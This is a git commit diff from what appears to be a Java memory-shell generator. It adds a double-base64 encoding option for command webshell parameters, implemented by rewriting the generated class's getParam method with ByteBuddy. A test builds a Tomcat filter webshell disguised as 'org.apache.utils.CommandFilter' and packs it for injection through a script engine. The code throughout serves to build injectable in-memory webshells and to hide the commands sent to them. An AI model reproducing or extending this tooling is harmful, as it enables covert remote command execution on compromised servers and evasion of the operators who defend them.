feat: support command encryptor

2026-09-22 07:00:43 +08:00 · 2025-05-14 00:34:32 +08:00
parent 7e27d71f52
commit ba9424c97e
26 changed files with 456 additions and 187 deletions
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;

 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.generator.*;
+import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import org.apache.commons.lang3.StringUtils;
@@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder;
 public class CommandConfig extends ShellToolConfig {
    @Builder.Default
    private String paramName = CommonUtil.getRandomString(8);
+
+    @Builder.Default
+    private Encryptor encryptor = Encryptor.RAW;
+
+    public enum Encryptor {
+        RAW, DOUBLE_BASE64;
+
+        public static Encryptor fromString(String encryptor) {
+            if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
+                return DOUBLE_BASE64;
+            }
+            return RAW;
+        }
+    }
 }
@@ -1,72 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.CommandConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.StringUtils;
-
-import java.util.HashMap;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2024/11/24
- */
-public class CommandGenerator {
-    private final ShellConfig shellConfig;
-    private final CommandConfig commandConfig;
-
-    public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
-        this.shellConfig = shellConfig;
-        this.commandConfig = commandConfig;
-    }
-
-    public DynamicType.Builder<?> getBuilder() {
-        if (commandConfig.getShellClass() == null) {
-            throw new IllegalArgumentException("commandConfig.getClazz() == null");
-        }
-
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(commandConfig.getShellClass())
-                .name(commandConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        String shellType = shellConfig.getShellType();
-        if (!ShellType.WEBSOCKET.equals(shellType)) {
-            if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
-                builder = builder.visit(
-                        new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
-                            put("paramName", commandConfig.getParamName());
-                        }})
-                );
-            } else {
-                builder = builder.field(named("paramName")).value(commandConfig.getParamName());
-            }
-        }
-
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
-    }
-}
@@ -0,0 +1,92 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.*;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+import org.apache.commons.lang3.StringUtils;
+
+import java.util.Collections;
+import java.util.HashMap;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandGenerator {
+    private final ShellConfig shellConfig;
+    private final CommandConfig commandConfig;
+
+    public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
+        this.shellConfig = shellConfig;
+        this.commandConfig = commandConfig;
+    }
+
+    public DynamicType.Builder<?> getBuilder() {
+        if (commandConfig.getShellClass() == null) {
+            throw new IllegalArgumentException("commandConfig.getClazz() == null");
+        }
+
+        DynamicType.Builder<?> builder = new ByteBuddy()
+                .redefine(commandConfig.getShellClass())
+                .name(commandConfig.getShellClassName())
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
+
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        String shellType = shellConfig.getShellType();
+
+        if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
+            builder = builder.visit(
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
+                        put("paramName", commandConfig.getParamName());
+                    }})
+            );
+        } else if (!ShellType.WEBSOCKET.equals(shellType)) {
+            builder = builder.field(named("paramName"))
+                    .value(commandConfig.getParamName());
+        }
+
+        if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
+            builder = builder
+                    .visit(new AsmVisitorWrapper.ForDeclaredMethods()
+                            .method(named("getParam"),
+                                    new MethodCallReplaceVisitorWrapper(
+                                            commandConfig.getShellClassName(),
+                                            Collections.singleton(ShellCommonUtil.class.getName()))
+                            )
+                    )
+                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(String.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
+                    .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
+        }
+
+        return builder;
+    }
+
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = getBuilder();
+        try (DynamicType.Unloaded<?> make = builder.make()) {
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
+        }
+    }
+}
@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+public class DoubleBase64ParamInterceptor {
+
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
+        returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
+    }
+}
@@ -74,7 +74,7 @@ public class ShellCommonUtil {
            } catch (Exception ignored) {
            }
        }
-        return value == null ? "" : new String(value);
+        return value == null ? null : new String(value);
    }

    public static class Base64DecodeToStringInterceptor {
@@ -96,7 +96,7 @@ public class ShellCommonUtil {
                } catch (Exception ignored) {
                }
            }
-            returnValue = value == null ? "" : new String(value);
+            returnValue = value == null ? null : new String(value);
        }
    }
 }
@@ -1,13 +1,16 @@
 package com.reajason.javaweb.memshell.tomcat.command;

-import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.*;
 import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.generator.CommandGenerator;
+import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
 import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
 import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
 import com.reajason.javaweb.util.ClassUtils;
+import org.junit.jupiter.api.Test;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
@@ -36,15 +39,37 @@ class CommandFilterTest {
    @MethodSource("casesProvider")
    void generate(String shellType, Class<?> clazz, String className) {
        ShellConfig generateConfig = new ShellConfig();
-        CommandConfig shellConfig = CommandConfig.builder()
+        CommandConfig commandConfig = CommandConfig.builder()
                .shellClass(clazz)
                .shellClassName(className)
                .paramName("cmd")
                .build();
        generateConfig.setShellType(shellType);
-        byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
+        byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
        Object obj = ClassUtils.newInstance(bytes);
-        assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
-        assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+        assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
+        assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+    }
+
+    @Test
+    void testGenerator() throws Exception {
+        ShellConfig shellConfig = ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.FILTER)
+                .shellTool(ShellTool.Command)
+                .build();
+
+        CommandConfig commandConfig = CommandConfig.builder()
+                .shellClass(CommandFilter.class)
+                .shellClassName("org.apache.utils.CommandFilter")
+                .paramName("cmd")
+                .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
+                .build();
+        InjectorConfig injectorConfig = new InjectorConfig();
+
+        GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
+//        Files.write(Paths.get("hehe.class"), generate.getShellBytes());
+        String pack = Packers.ScriptEngine.getInstance().pack(generate);
+        System.out.println(pack);
    }
 }